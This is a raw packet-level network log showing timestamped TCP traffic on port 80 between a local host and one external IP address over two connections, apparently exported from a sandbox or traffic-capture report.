Oct 15, 2024 19:22:37.726986885 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.727019072 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.727037907 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.727099895 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.727134943 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.727155924 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.727200985 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.727231979 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.727253914 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.727266073 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.727300882 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.727358103 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.727539062 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.727596045 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.727617025 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.727652073 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.727703094 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.727734089 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.727766991 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.727858067 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.727977037 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.728020906 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.728070974 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.728072882 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.728106022 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.728142977 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.728157997 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.728174925 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.728209019 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.728221893 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.728238106 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.728293896 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.728540897 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.728713989 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.728790045 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.739475965 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.739505053 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.739556074 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.739557981 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.739583969 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.739681005 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.742422104 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.742480993 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.742527962 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.742535114 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.742563009 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.742595911 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.742630959 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.742832899 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.742891073 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.774900913 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.774952888 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.775005102 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.775010109 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.775070906 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.775104046 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.775125980 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.775156975 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.775208950 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.821621895 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.821675062 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.821707964 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.821728945 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.821743965 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.821775913 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.821806908 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.824534893 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.824568987 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.824603081 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.824619055 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.824636936 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.824687958 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.824829102 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.824934959 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.824969053 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.824984074 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.825004101 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.825036049 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.825083017 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.828756094 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.828809977 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.828818083 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.828840971 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.828924894 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.846327066 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.846379995 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.846432924 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.846453905 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.846481085 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.846498013 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.846515894 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.846546888 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.846566916 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.860183001 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.860217094 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.860250950 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.860284090 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.860287905 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.860318899 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.860336065 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.860352993 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.860434055 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.860439062 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.860466003 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.860518932 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.942753077 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.942790985 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.942825079 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.942848921 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.942857027 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.942893028 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.942908049 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.942934990 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.942967892 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.942998886 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.943017006 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.943042994 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.943183899 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.943234921 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.943363905 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.946455956 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.946487904 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.946521997 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.946552992 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.977390051 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.977442980 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.977477074 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.977492094 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.977525949 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.977554083 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.977560043 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.977629900 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.977766037 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.977797985 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.977830887 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.977883101 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.978193045 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.978322029 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.978375912 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.999146938 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.999200106 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.999233007 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.999233961 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.999290943 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.999300957 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.999334097 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.999367952 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.999398947 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.999435902 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.999468088 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.999530077 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.015516996 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.015574932 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.015575886 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.015614986 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.015667915 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.015667915 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.015700102 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.015733004 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.015758991 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.015813112 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.015845060 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.015861988 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.015877008 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.015909910 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.015930891 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.015963078 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.015995979 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016019106 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.016047001 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016079903 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016110897 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.016113043 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016146898 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016181946 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016190052 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.016287088 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.016398907 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016432047 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016463995 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016484022 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.016498089 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016531944 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016571045 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.016834974 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016866922 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016894102 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.016897917 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016948938 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.016949892 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.016980886 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.017014027 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.017047882 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.017066002 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.017079115 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.017095089 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.017113924 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.017148018 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.017159939 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.017183065 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.017283916 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.017703056 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.017735958 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.017769098 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.017790079 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.017819881 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.017852068 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.017882109 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.017884016 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.017918110 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.017951012 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.017988920 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.018022060 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.018044949 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.018058062 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.018093109 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.018114090 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.018655062 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.018687010 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.018711090 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.018721104 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.018771887 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.018805027 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.018815041 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.018837929 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.018851042 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.018888950 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.018922091 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.018953085 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.018958092 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.018989086 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.018997908 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.059276104 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.059339046 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.059370995 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.059391022 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.059458017 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.059489965 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.059499025 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.059524059 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.059571981 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.059577942 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.059644938 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.059694052 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.060446024 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.060497046 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.060507059 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.060530901 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.060591936 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.060646057 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.062391043 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.062442064 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.062499046 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.062501907 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.062530994 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.062665939 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.084605932 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.084641933 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.084673882 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.084692001 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.084723949 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.084758043 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.084762096 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.084789991 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.084824085 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.084850073 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.084855080 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.084875107 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.084889889 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.084923983 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.084950924 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.085448980 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.085500956 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.085506916 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.085530996 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.085580111 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.085587978 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.085613012 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.085661888 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.085678101 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.085695982 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.085730076 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.085748911 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.085764885 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.085818052 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.086213112 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.086707115 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.086765051 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.093722105 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.093755007 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.093790054 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.093821049 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.093822956 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.093868017 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.093887091 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.094103098 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.094136953 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.094167948 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.094194889 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.094225883 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.096343994 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.096376896 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.096410036 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.096431017 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.116221905 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.116280079 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.116451979 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.133533955 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.133563042 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.133594990 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.133614063 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.133647919 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.133665085 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.133681059 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.133743048 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.135596991 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.135664940 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.135696888 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.135716915 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.175110102 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.175146103 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.175164938 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.175180912 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.175214052 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.175232887 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.175247908 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.175302029 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.175544024 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.175617933 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.175647974 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.175672054 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.175679922 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.175725937 CEST	49807	80	192.168.2.5	87.120.127.223
